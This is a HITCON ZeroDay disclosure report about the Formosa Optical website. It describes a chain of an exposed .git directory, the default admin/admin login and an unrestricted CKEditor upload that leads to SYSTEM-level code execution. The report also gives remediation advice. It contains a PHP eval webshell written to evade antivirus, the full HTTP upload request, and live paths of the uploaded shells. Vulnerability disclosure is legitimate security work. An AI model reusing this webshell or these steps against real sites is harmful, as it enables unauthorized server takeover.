Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00306
- Vendor: 寶島眼鏡
- Title: 寶島眼鏡 透過 .git 洩漏、弱密碼、任意檔案上傳等弱點取得 nt\system 執行權限
- Introduction: 由於 .git 洩漏、弱密碼、任意檔案上傳導致任意程式碼執行漏洞
處理狀態
目前狀態
公開
Last Update : 2023/08/24
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2023/06/24 22:31:56 : 新提交 (由 d0gkiller87 更新此狀態)
- 2023/06/26 10:00:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/07/05 18:04:59 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/07/05 18:04:59 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/07/05 18:04:59 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/08/24 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00306
- 通報者:vungsung (d0gkiller87)
- 風險:嚴重
- 類型:任意檔案上傳 (Arbitrary File Upload)
參考資料
攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
- .git 洩漏:https://www.formosa-optical.com.tw/.git/
- 從 .git 找到的管理頁面 URL:https://www.formosa-optical.com.tw/z.php
- 用弱密碼 admin/admin 登入後的 CKEditor 文章編輯頁面:https://www.formosa-optical.com.tw/include/MSuper.php?Action=edit&Template=news01.php&Page=2&KeyID=1017642592635baeaeb6ba9
- filebrowserUploadUrl 指向的上傳端點:https://www.formosa-optical.com.tw/include/uploadckeditor.php?CKEditorFuncNum=1
- 上傳的 PoC webshell:https://www.formosa-optical.com.tw/include/img/14463041766496e1ea1845e.php
- 從 .git 找到的管理頁面 URL:https://www.formosa-optical.com.tw/z.php
- 用弱密碼 admin/admin 登入後的 CKEditor 文章編輯頁面:https://www.formosa-optical.com.tw/include/MSuper.php?Action=edit&Template=news01.php&Page=2&KeyID=1017642592635baeaeb6ba9
- filebrowserUploadUrl 指向的上傳端點:https://www.formosa-optical.com.tw/include/uploadckeditor.php?CKEditorFuncNum=1
- 上傳的 PoC webshell:https://www.formosa-optical.com.tw/include/img/14463041766496e1ea1845e.php
敘述
- 於官網發現開放的 .git 目錄,使用工具 https://github.com/davtur19/DotGit 可重建部分 .git 目錄
因不明因素無法取得大部分檔案的內容 (如 PHP 檔案、原始碼等)。但可以從 https://www.formosa-optical.com.tw/.git/index 來取得各個檔案的路徑
若沒裝 git 客戶端或 DotGit 插件,也可用 CLI 指令來複現以上操作:curl https://www.formosa-optical.com.tw/.git/index -o index strings index | grep .php - 存取 git index 中檔案路徑對應的 URL,發現可以讀取到設定檔 (/php.ini、/.cpanel.yml)、管理頁面 (/z.php) 等
- 使用弱密碼 admin/admin 可登入管理頁面 z.php
- 於「1 系統管理」→ 「1-2 網站地圖」(https://www.formosa-optical.com.tw/aiadmin/main.php?Page=2-1) 選擇「最新消息」分類的「線上更新2」(雲朵樣式的按鈕),進入最新消息列表的編輯頁面 (https://www.formosa-optical.com.tw/include/index.php?Page=2)
- 對任一最新消息點選「編輯」按鈕,進入編輯畫面
- 於 CKEditor 視窗選擇「圖像」→「上傳」,然後選擇一個副檔名為 jpg 的檔案 (空檔案也行)
- 使用 Burp Suite 攔截 POST 至 https://www.formosa-optical.com.tw/include/uploadckeditor.php?CKEditorFuncNum=1 的封包,將檔案名稱替換成 test.php、檔案內容則替換成以下內容 (分幾行寫為了繞過防毒軟體)
<?php
$user_data = $_REQUEST['securitytest'];
// test security
eval($user_data);
?>
送出請求後從回應中可獲得上傳後的檔案位置 (https://www.formosa-optical.com.tw/include/img/xxx.php) - 使用 AntSword 或其他 webshell 控制軟體連接,發現可用 nt authority\system 身分執行權限
- 測試上傳的檔案列表
- https://www.formosa-optical.com.tw/include/img/10693436716496e01b932ca.phtml
- https://www.formosa-optical.com.tw/include/img/21045870876496e037a9004.phtml
- https://www.formosa-optical.com.tw/include/img/146628206496e08510b52.php
- https://www.formosa-optical.com.tw/include/img/250613996496e1bf3593e.phtml
- https://www.formosa-optical.com.tw/include/img/14463041766496e1ea1845e.php
- https://www.formosa-optical.com.tw/include/img/13436486496496ef9c0b526.
- https://www.formosa-optical.com.tw/include/img/8941745396496f010d648e.
- https://www.formosa-optical.com.tw/include/img/11954152256496f06ebc4d0.php
- 上傳的 Request
POST /include/uploadckeditor.php?CKEditorFuncNum=1 HTTP/1.1
Host: www.formosa-optical.com.tw
Content-Length: 422
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLyu7nAcHEnXpXSk
Connection: close
------WebKitFormBoundaryoLyu7nAcHEnXpXSk
Content-Disposition: form-data; name="upload"; filename="test.php"
Content-Type: image/jpeg
<?php
$user_data = $_REQUEST['securitytest'];
// test security
eval($user_data);
?>
------WebKitFormBoundaryoLyu7nAcHEnXpXSk
Content-Disposition: form-data; name="ckCsrfToken"
RaM2YBd6UK3AzJkl4i55L7l7LVqb0L7soFVuq1QD
------WebKitFormBoundaryoLyu7nAcHEnXpXSk--修補建議
1. 使用 Docker/Podman 在隔離環境執行伺服器程式碼
2. 使用較安全的組態代替 XAMPP
3. 調整機敏檔案如 app.ini、php.ini、.git/ 的存取權限,並盡量避免將設定檔與 AP 程式碼放在同目錄 (例如放在 /usr/local/etc/php/8.1/php.ini)
4. 管理頁面避免使用弱憑證 (如 admin/admin、test/test),並使用有 salt 的 hash 如 Bcrypt 等來代替明文保存密碼
5. 確保 CKEditor filebrowserUploadUrl 設定的檔案上傳端點 (https://www.formosa-optical.com.tw/include/uploadckeditor.php?CKEditorFuncNum=1) 只允許 jpg、png 等白名單副檔名上傳
6. 停用上傳目錄的所有 PHP 執行權限,即便攻擊者成功上傳也無法執行程式碼
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。